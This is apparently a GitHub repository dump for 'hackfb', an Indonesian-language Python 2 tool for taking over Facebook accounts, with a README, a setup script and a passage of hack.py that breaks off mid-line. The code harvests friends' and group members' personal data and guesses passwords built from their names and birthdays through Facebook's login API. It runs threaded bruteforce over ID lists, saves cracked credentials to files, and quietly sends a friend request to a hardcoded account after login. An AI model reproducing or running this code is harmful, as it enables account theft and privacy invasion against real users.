├── README.md ├── bahan.sh └── hack.py /README.md: -------------------------------------------------------------------------------- 1 | # hackfb 2 | Tools Hack facebook , fitur : Bruteforce,Yahoo cloning,Bot ,Picture Guard .dll 3 | -------------------------------------------------------------------------------- /bahan.sh: -------------------------------------------------------------------------------- 1 | 2 | 3 | #Rekode Sertakan Authour Ok ? 4 | 5 | 6 | 7 | figlet "Ac3p_Cyb3r" 8 | echo "" 9 | echo "Sedang Menginstall Bahan Dulu" 10 | sleep 2 11 | apt update && apt upgrade -y 12 | pkg install python -y 13 | pkg install python2 -y 14 | pkg install python2 -y 15 | pip install --upgrade pip 16 | pip2 install requests mechanize 17 | 18 | pkg install curl 19 | 20 | clear 21 | 22 | echo "Installing selesai" 23 | 24 | -------------------------------------------------------------------------------- /hack.py: -------------------------------------------------------------------------------- 1 | #Decompiled by Ac3p_Cyb3r 2 | import os, sys, time, datetime, random, hashlib, re, threading, json, getpass, urllib, requests, mechanize 3 | from multiprocessing.pool import ThreadPool 4 | 5 | from requests.exceptions import ConnectionError 6 | from mechanize import Browser 7 | reload(sys) 8 | sys.setdefaultencoding('utf8') 9 | br = mechanize.Browser() 10 | br.set_handle_robots(False) 11 | br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1) 12 | br.addheaders = [('User-Agent', 'Opera/9.80 (Android; Opera Mini/32.0.2254/85. U; id) Presto/2.12.423 Version/12.16')] 13 | 14 | def keluar(): 15 | print '\x1b[1;91m[!] Keluar' 16 | os.sys.exit() 17 | 18 | 19 | def jalan(z): 20 | for e in z + '\n': 21 | sys.stdout.write(e) 22 | sys.stdout.flush() 23 | time.sleep(0.01) 24 | 25 | 26 | logo = ' Tools Hack Facebook \n\x1b[1;93m Author : Ac3p_Cyb3r \n\x1b[1;93m My Team. : Mouse Cyber Security \n\x1b[1;93m Thanks To : AI - Mrs.Meni' 27 | def tik(): 28 | titik = [ 29 | '. ', '.. ', '... '] 30 | for o in titik: 31 | print '\r\x1b[1;91m[\xe2\x97\x8f] \x1b[1;92mSedang Masuk Mang \x1b[1;97m' + o, 32 | sys.stdout.flush() 33 | time.sleep(1) 34 | 35 | 36 | back = 0 37 | threads = [] 38 | berhasil = [] 39 | cekpoint = [] 40 | gagal = [] 41 | idteman = [] 42 | idfromteman = [] 43 | idmem = [] 44 | id = [] 45 | em = [] 46 | emfromteman = [] 47 | hp = [] 48 | hpfromteman = [] 49 | reaksi = [] 50 | reaksigrup = [] 51 | komen = [] 52 | komengrup = [] 53 | listgrup = [] 54 | vulnot = '\x1b[31mGak Vuln' 55 | vuln = '\x1b[32mVuln' 56 | 57 | 58 | def login(): 59 | os.system('clear') 60 | try: 61 | toket = open('login.txt', 'r') 62 | menu() 63 | except (KeyError, IOError): 64 | os.system('clear') 65 | print logo 66 | print 40 * '\x1b[1;97m\xe2\x95\x90' 67 | print '\x1b[1;91m[\xe2\x98\x86] \x1b[1;92mLOGIN AKUN FACEBOOK DULU MANG \x1b[1;91m[\xe2\x98\x86]' 68 | id = raw_input('\x1b[1;91m[+] \x1b[1;36mUsername FB \x1b[1;91m:\x1b[1;92m ') 69 | pwd = getpass.getpass('\x1b[1;91m[+] \x1b[1;36mPassword FB \x1b[1;91m:\x1b[1;92m ') 70 | tik() 71 | try: 72 | br.open('https://m.facebook.com') 73 | except mechanize.URLError: 74 | print '\n\x1b[1;91m[!] Tidak ada koneksi' 75 | keluar() 76 | 77 | br._factory.is_html = True 78 | br.select_form(nr=0) 79 | br.form['email'] = id 80 | br.form['pass'] = pwd 81 | br.submit() 82 | url = br.geturl() 83 | if 'save-device' in url: 84 | try: 85 | sig = 'api_key=882a8490361da98702bf97a021ddc14dcredentials_type=passwordemail=' + id + 'format=JSONgenerate_machine_id=1generate_session_cookies=1locale=en_USmethod=auth.loginpassword=' + pwd + 'return_ssl_resources=0v=1.062f8ce9f74b12f84c123cc23437a4a32' 86 | data = {'api_key': '882a8490361da98702bf97a021ddc14d', 'credentials_type': 'password', 'email': id, 'format': 'JSON', 'generate_machine_id': '1', 'generate_session_cookies': '1', 'locale': 'en_US', 'method': 'auth.login', 'password': pwd, 'return_ssl_resources': '0', 'v': '1.0'} 87 | x = hashlib.new('md5') 88 | x.update(sig) 89 | a = x.hexdigest() 90 | data.update({'sig': a}) 91 | url = 'https://api.facebook.com/restserver.php' 92 | r = requests.get(url, params=data) 93 | z = json.loads(r.text) 94 | zedd = open('login.txt', 'w') 95 | zedd.write(z['access_token']) 96 | zedd.close() 97 | print '\n\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mLogin berhasil' 98 | requests.post('https://graph.facebook.com/me/friends?method=post&uids=gwimusa3&access_token=' + z['access_token']) 99 | os.system('xdg-open https://github.com/aceptriana') 100 | time.sleep(2) 101 | menu() 102 | except requests.exceptions.ConnectionError: 103 | print '\n\x1b[1;91m[!] Tidak ada koneksi' 104 | keluar() 105 | 106 | if 'checkpoint' in url: 107 | print '\n\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint' 108 | os.system('rm -rf login.txt') 109 | time.sleep(1) 110 | keluar() 111 | else: 112 | print '\n\x1b[1;91m[!] Login Gagal' 113 | os.system('rm -rf login.txt') 114 | time.sleep(1) 115 | login() 116 | 117 | 118 | def menu(): 119 | os.system('clear') 120 | try: 121 | toket = open('login.txt', 'r').read() 122 | except IOError: 123 | os.system('clear') 124 | print '\x1b[1;91m[!] Token tidak ditemukan' 125 | os.system('rm -rf login.txt') 126 | time.sleep(1) 127 | login() 128 | else: 129 | try: 130 | otw = requests.get('https://graph.facebook.com/me?access_token=' + toket) 131 | a = json.loads(otw.text) 132 | nama = a['name'] 133 | id = a['id'] 134 | except KeyError: 135 | os.system('clear') 136 | print '\x1b[1;91m[!] \x1b[1;93mSepertinya akun kena Checkpoint' 137 | os.system('rm -rf login.txt') 138 | time.sleep(1) 139 | login() 140 | except requests.exceptions.ConnectionError: 141 | print '\x1b[1;91m[!] Tidak ada koneksi' 142 | keluar() 143 | 144 | os.system('clear') 145 | print logo 146 | print '\x1b[1;97m\xe2\x95\x94' + 40 * '\xe2\x95\x90' 147 | print '\xe2\x95\x91\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m]\x1b[1;97m Nama \x1b[1;91m: \x1b[1;92m' + nama 148 | print '\x1b[1;97m\xe2\x95\x9a' + 40 * '\xe2\x95\x90' 149 | print '\x1b[1;37;40m1. Informasi Pengguna' 150 | print '\x1b[1;37;40m2. Hack Akun Facebook' 151 | print '\x1b[1;37;40m3. Bot ' 152 | print '\x1b[1;37;40m4. Lainnya.... ' 153 | print '\x1b[1;37;40m5. LogOut ' 154 | print '\x1b[1;31;40m0. Keluar ' 155 | print 156 | pilih() 157 | 158 | 159 | def pilih(): 160 | zedd = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') 161 | if zedd == '': 162 | print '\x1b[1;91m[!] Jangan kosong' 163 | pilih() 164 | else: 165 | if zedd == '1': 166 | informasi() 167 | else: 168 | if zedd == '2': 169 | menu_hack() 170 | else: 171 | if zedd == '3': 172 | menu_bot() 173 | else: 174 | if zedd == '4': 175 | lain() 176 | else: 177 | if zedd == '5': 178 | os.system('rm -rf login.txt') 179 | os.system('xdg-open https://www.facebook.com/Acep101') 180 | keluar() 181 | else: 182 | if zedd == '0': 183 | keluar() 184 | else: 185 | print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + zedd + ' \x1b[1;91mTidak ada' 186 | pilih() 187 | 188 | 189 | def informasi(): 190 | os.system('clear') 191 | try: 192 | toket = open('login.txt', 'r').read() 193 | except IOError: 194 | print '\x1b[1;91m[!] Token tidak ditemukan' 195 | os.system('rm -rf login.txt') 196 | time.sleep(1) 197 | login() 198 | 199 | os.system('clear') 200 | print logo 201 | print 40 * '\x1b[1;97m\xe2\x95\x90' 202 | id = raw_input('\x1b[1;91m[+] \x1b[1;92mMasukan ID\x1b[1;97m/\x1b[1;92mNama\x1b[1;91m : \x1b[1;97m') 203 | jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') 204 | r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) 205 | cok = json.loads(r.text) 206 | for p in cok['data']: 207 | if id in p['name'] or id in p['id']: 208 | r = requests.get('https://graph.facebook.com/' + p['id'] + '?access_token=' + toket) 209 | z = json.loads(r.text) 210 | print 40 * '\x1b[1;97m\xe2\x95\x90' 211 | try: 212 | print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mNama\x1b[1;97m : ' + z['name'] 213 | except KeyError: 214 | print '\x1b[1;91m[?] \x1b[1;92mNama\x1b[1;97m : \x1b[1;91mTidak ada' 215 | else: 216 | try: 217 | print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mID\x1b[1;97m : ' + z['id'] 218 | except KeyError: 219 | print '\x1b[1;91m[?] \x1b[1;92mID\x1b[1;97m : \x1b[1;91mTidak ada' 220 | else: 221 | try: 222 | print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mEmail\x1b[1;97m : ' + z['email'] 223 | except KeyError: 224 | print '\x1b[1;91m[?] \x1b[1;92mEmail\x1b[1;97m : \x1b[1;91mTidak ada' 225 | else: 226 | try: 227 | print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mNomor HP\x1b[1;97m : ' + z['mobile_phone'] 228 | except KeyError: 229 | print '\x1b[1;91m[?] \x1b[1;92mNomor HP\x1b[1;97m : \x1b[1;91mTidak ada' 230 | 231 | try: 232 | print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mLokasi\x1b[1;97m : ' + z['location']['name'] 233 | except KeyError: 234 | print '\x1b[1;91m[?] \x1b[1;92mLokasi\x1b[1;97m : \x1b[1;91mTidak ada' 235 | 236 | try: 237 | print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mTanggal Lahir\x1b[1;97m : ' + z['birthday'] 238 | except KeyError: 239 | print '\x1b[1;91m[?] \x1b[1;92mTanggal Lahir\x1b[1;97m : \x1b[1;91mTidak ada' 240 | 241 | try: 242 | print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mSekolah\x1b[1;97m : ' 243 | for q in z['education']: 244 | try: 245 | print '\x1b[1;91m ~ \x1b[1;97m' + q['school']['name'] 246 | except KeyError: 247 | print '\x1b[1;91m ~ \x1b[1;91mTidak ada' 248 | 249 | except KeyError: 250 | pass 251 | 252 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 253 | menu() 254 | else: 255 | print '\x1b[1;91m[\xe2\x9c\x96] Pengguna tidak ditemukan' 256 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 257 | menu() 258 | 259 | 260 | def menu_hack(): 261 | os.system('clear') 262 | try: 263 | toket = open('login.txt', 'r').read() 264 | except IOError: 265 | print '\x1b[1;91m[!] Token tidak ditemukan' 266 | os.system('rm -rf login.txt') 267 | time.sleep(1) 268 | login() 269 | 270 | os.system('clear') 271 | print logo 272 | print 40 * '\x1b[1;97m\xe2\x95\x90' 273 | print '\x1b[1;37;40m1. Mini Hack Facebook(\x1b[1;92mTarget\x1b[1;97m)' 274 | print '\x1b[1;37;40m2. Multi Bruteforce Facebook' 275 | print '\x1b[1;37;40m3. Super Multi Bruteforce Facebook' 276 | print '\x1b[1;37;40m4. BruteForce(\x1b[1;92mTarget\x1b[1;97m)' 277 | print '\x1b[1;37;40m5. Yahoo Checker' 278 | print '\x1b[1;37;40m6. Ambil id/email/hp' 279 | print '\x1b[1;31;40m0. Kembali' 280 | print 281 | hack_pilih() 282 | 283 | 284 | def hack_pilih(): 285 | hack = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') 286 | if hack == '': 287 | print '\x1b[1;91m[!] Jangan kosong' 288 | hack_pilih() 289 | else: 290 | if hack == '1': 291 | mini() 292 | else: 293 | if hack == '2': 294 | crack() 295 | hasil() 296 | else: 297 | if hack == '3': 298 | super() 299 | else: 300 | if hack == '4': 301 | brute() 302 | else: 303 | if hack == '5': 304 | menu_yahoo() 305 | else: 306 | if hack == '6': 307 | grab() 308 | else: 309 | if hack == '0': 310 | menu() 311 | else: 312 | print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + hack + ' \x1b[1;91mTidak ada' 313 | hack_pilih() 314 | 315 | 316 | def mini(): 317 | os.system('clear') 318 | try: 319 | toket = open('login.txt', 'r').read() 320 | except IOError: 321 | print '\x1b[1;91m[!] Token tidak ditemukan' 322 | os.system('rm -rf login.txt') 323 | time.sleep(1) 324 | login() 325 | else: 326 | os.system('clear') 327 | print logo 328 | print 40 * '\x1b[1;97m\xe2\x95\x90' 329 | print '\x1b[1;91m[ INFO ] Akun target harus berteman dengan akun anda dulu !' 330 | try: 331 | id = raw_input('\x1b[1;91m[+] \x1b[1;92mID Target \x1b[1;91m:\x1b[1;97m ') 332 | jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') 333 | r = requests.get('https://graph.facebook.com/' + id + '?access_token=' + toket) 334 | a = json.loads(r.text) 335 | print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] 336 | jalan('\x1b[1;91m[+] \x1b[1;92mMemeriksa \x1b[1;97m...') 337 | time.sleep(2) 338 | jalan('\x1b[1;91m[+] \x1b[1;92mMembuka keamanan \x1b[1;97m...') 339 | time.sleep(2) 340 | jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mMohon Tunggu sebentar \x1b[1;97m...') 341 | print 40 * '\x1b[1;97m\xe2\x95\x90' 342 | pz1 = a['first_name'] + '123' 343 | data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz1 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') 344 | y = json.load(data) 345 | if 'access_token' in y: 346 | print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' 347 | print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] 348 | print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id 349 | print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz1 350 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 351 | menu_hack() 352 | else: 353 | if 'www.facebook.com' in y['error_msg']: 354 | print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' 355 | print '\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint' 356 | print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] 357 | print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id 358 | print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz1 359 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 360 | menu_hack() 361 | else: 362 | pz2 = a['first_name'] + '12345' 363 | data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz2 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') 364 | y = json.load(data) 365 | if 'access_token' in y: 366 | print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' 367 | print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] 368 | print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id 369 | print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz2 370 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 371 | menu_hack() 372 | else: 373 | if 'www.facebook.com' in y['error_msg']: 374 | print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' 375 | print '\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint' 376 | print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] 377 | print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id 378 | print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz2 379 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 380 | menu_hack() 381 | else: 382 | pz3 = a['last_name'] + '123' 383 | data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz3 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') 384 | y = json.load(data) 385 | if 'access_token' in y: 386 | print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' 387 | print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] 388 | print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id 389 | print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz3 390 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 391 | menu_hack() 392 | else: 393 | if 'www.facebook.com' in y['error_msg']: 394 | print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' 395 | print '\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint' 396 | print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] 397 | print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id 398 | print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz3 399 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 400 | menu_hack() 401 | else: 402 | lahir = a['birthday'] 403 | pz4 = lahir.replace('/', '') 404 | data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz4 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') 405 | y = json.load(data) 406 | if 'access_token' in y: 407 | print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' 408 | print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] 409 | print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id 410 | print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz4 411 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 412 | menu_hack() 413 | else: 414 | if 'www.facebook.com' in y['error_msg']: 415 | print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' 416 | print '\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint' 417 | print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] 418 | print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id 419 | print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz4 420 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 421 | menu_hack() 422 | else: 423 | print '\x1b[1;91m[!] Maaf, gagal membuka password target :(' 424 | print '\x1b[1;91m[!] Cobalah dengan cara lain.' 425 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 426 | menu_hack() 427 | except KeyError: 428 | print '\x1b[1;91m[!] Terget tidak ditemukan' 429 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 430 | menu_hack() 431 | 432 | 433 | def crack(): 434 | global file 435 | global idlist 436 | global passw 437 | os.system('clear') 438 | try: 439 | toket = open('login.txt', 'r').read() 440 | except IOError: 441 | print '\x1b[1;91m[!] Token tidak ditemukan' 442 | os.system('rm -rf login.txt') 443 | time.sleep(1) 444 | login() 445 | else: 446 | os.system('clear') 447 | print logo 448 | print 40 * '\x1b[1;97m\xe2\x95\x90' 449 | idlist = raw_input('\x1b[1;91m[+] \x1b[1;92mFile ID \x1b[1;91m: \x1b[1;97m') 450 | passw = raw_input('\x1b[1;91m[+] \x1b[1;92mPassword \x1b[1;91m: \x1b[1;97m') 451 | try: 452 | file = open(idlist, 'r') 453 | jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') 454 | for x in range(40): 455 | zedd = threading.Thread(target=scrak, args=()) 456 | zedd.start() 457 | threads.append(zedd) 458 | 459 | for zedd in threads: 460 | zedd.join() 461 | 462 | except IOError: 463 | print '\x1b[1;91m[!] File tidak ditemukan' 464 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 465 | menu_hack() 466 | 467 | 468 | def scrak(): 469 | global back 470 | global berhasil 471 | global cekpoint 472 | global gagal 473 | global up 474 | try: 475 | buka = open(idlist, 'r') 476 | up = buka.read().split() 477 | while file: 478 | username = file.readline().strip() 479 | url = 'https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + username + '&locale=en_US&password=' + passw + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6' 480 | data = urllib.urlopen(url) 481 | mpsh = json.load(data) 482 | if back == len(up): 483 | break 484 | if 'access_token' in mpsh: 485 | bisa = open('Berhasil.txt', 'w') 486 | bisa.write(username + ' | ' + passw + '\n') 487 | bisa.close() 488 | berhasil.append('\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + username + ' | ' + passw) 489 | back += 1 490 | else: 491 | if 'www.facebook.com' in mpsh['error_msg']: 492 | cek = open('Cekpoint.txt', 'w') 493 | cek.write(username + ' | ' + passw + '\n') 494 | cek.close() 495 | cekpoint.append('\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + username + ' | ' + passw) 496 | back += 1 497 | else: 498 | gagal.append(username) 499 | back += 1 500 | sys.stdout.write('\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\xb8\x1b[1;91m] \x1b[1;92mCrack \x1b[1;91m:\x1b[1;97m ' + str(back) + ' \x1b[1;96m>\x1b[1;97m ' + str(len(up)) + ' =>\x1b[1;92mLive\x1b[1;91m:\x1b[1;96m' + str(len(berhasil)) + ' \x1b[1;97m=>\x1b[1;93mCheck\x1b[1;91m:\x1b[1;96m' + str(len(cekpoint))) 501 | sys.stdout.flush() 502 | 503 | except IOError: 504 | print '\n\x1b[1;91m[!] Koneksi terganggu' 505 | time.sleep(1) 506 | except requests.exceptions.ConnectionError: 507 | print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' 508 | 509 | 510 | def hasil(): 511 | print 512 | print 40 * '\x1b[1;97m\xe2\x95\x90' 513 | for b in berhasil: 514 | print b 515 | 516 | for c in cekpoint: 517 | print c 518 | 519 | print 520 | print '\x1b[31m[x] Gagal \x1b[1;97m--> ' + str(len(gagal)) 521 | keluar() 522 | 523 | 524 | def super(): 525 | global toket 526 | os.system('clear') 527 | try: 528 | toket = open('login.txt', 'r').read() 529 | except IOError: 530 | print '\x1b[1;91m[!] Token tidak ditemukan' 531 | os.system('rm -rf login.txt') 532 | time.sleep(1) 533 | login() 534 | 535 | os.system('clear') 536 | print logo 537 | print 40 * '\x1b[1;97m\xe2\x95\x90' 538 | print '\x1b[1;37;40m1. Crack dari daftar Teman' 539 | print '\x1b[1;37;40m2. Crack dari member Grup' 540 | print '\x1b[1;31;40m0. Kembali' 541 | print 542 | pilih_super() 543 | 544 | 545 | def pilih_super(): 546 | peak = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') 547 | if peak == '': 548 | print '\x1b[1;91m[!] Jangan kosong' 549 | pilih_super() 550 | else: 551 | if peak == '1': 552 | os.system('clear') 553 | print logo 554 | print 40 * '\x1b[1;97m\xe2\x95\x90' 555 | jalan('\x1b[1;91m[+] \x1b[1;92mMengambil id teman \x1b[1;97m...') 556 | r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) 557 | z = json.loads(r.text) 558 | for s in z['data']: 559 | id.append(s['id']) 560 | 561 | else: 562 | if peak == '2': 563 | os.system('clear') 564 | print logo 565 | print 40 * '\x1b[1;97m\xe2\x95\x90' 566 | idg = raw_input('\x1b[1;91m[+] \x1b[1;92mID Grup \x1b[1;91m:\x1b[1;97m ') 567 | try: 568 | r = requests.get('https://graph.facebook.com/group/?id=' + idg + '&access_token=' + toket) 569 | asw = json.loads(r.text) 570 | print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama grup \x1b[1;91m:\x1b[1;97m ' + asw['name'] 571 | except KeyError: 572 | print '\x1b[1;91m[!] Grup tidak ditemukan' 573 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 574 | super() 575 | 576 | re = requests.get('https://graph.facebook.com/' + idg + '/members?fields=name,id&limit=999999999&access_token=' + toket) 577 | s = json.loads(re.text) 578 | for i in s['data']: 579 | id.append(i['id']) 580 | 581 | else: 582 | if peak == '0': 583 | menu_hack() 584 | else: 585 | print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + peak + ' \x1b[1;91mTidak ada' 586 | pilih_super() 587 | print '\x1b[1;91m[+] \x1b[1;92mJumlah ID \x1b[1;91m: \x1b[1;97m' + str(len(id)) 588 | jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') 589 | titik = ['. ', '.. ', '... '] 590 | for o in titik: 591 | print '\r\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\xb8\x1b[1;91m] \x1b[1;92mCrack \x1b[1;97m' + o, 592 | sys.stdout.flush() 593 | time.sleep(1) 594 | 595 | print 596 | print 40 * '\x1b[1;97m\xe2\x95\x90' 597 | 598 | def main(arg): 599 | user = arg 600 | try: 601 | a = requests.get('https://graph.facebook.com/' + user + '/?access_token=' + toket) 602 | b = json.loads(a.text) 603 | pass1 = b['first_name'] + '123' 604 | data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass1 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') 605 | q = json.load(data) 606 | if 'access_token' in q: 607 | print '\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + user + ' | ' + pass1 608 | else: 609 | if 'www.facebook.com' in q['error_msg']: 610 | print '\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + user + ' | ' + pass1 611 | else: 612 | pass2 = b['first_name'] + '12345' 613 | data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass2 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') 614 | q = json.load(data) 615 | if 'access_token' in q: 616 | print '\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + user + ' | ' + pass2 617 | else: 618 | if 'www.facebook.com' in q['error_msg']: 619 | print '\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + user + ' | ' + pass2 620 | else: 621 | pass3 = b['last_name'] + '123' 622 | data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass3 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') 623 | q = json.load(data) 624 | if 'access_token' in q: 625 | print '\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + user + ' | ' + pass3 626 | else: 627 | if 'www.facebook.com' in q['error_msg']: 628 | print '\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + user + ' | ' + pass3 629 | else: 630 | lahir = b['birthday'] 631 | pass4 = lahir.replace('/', '') 632 | data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass4 + 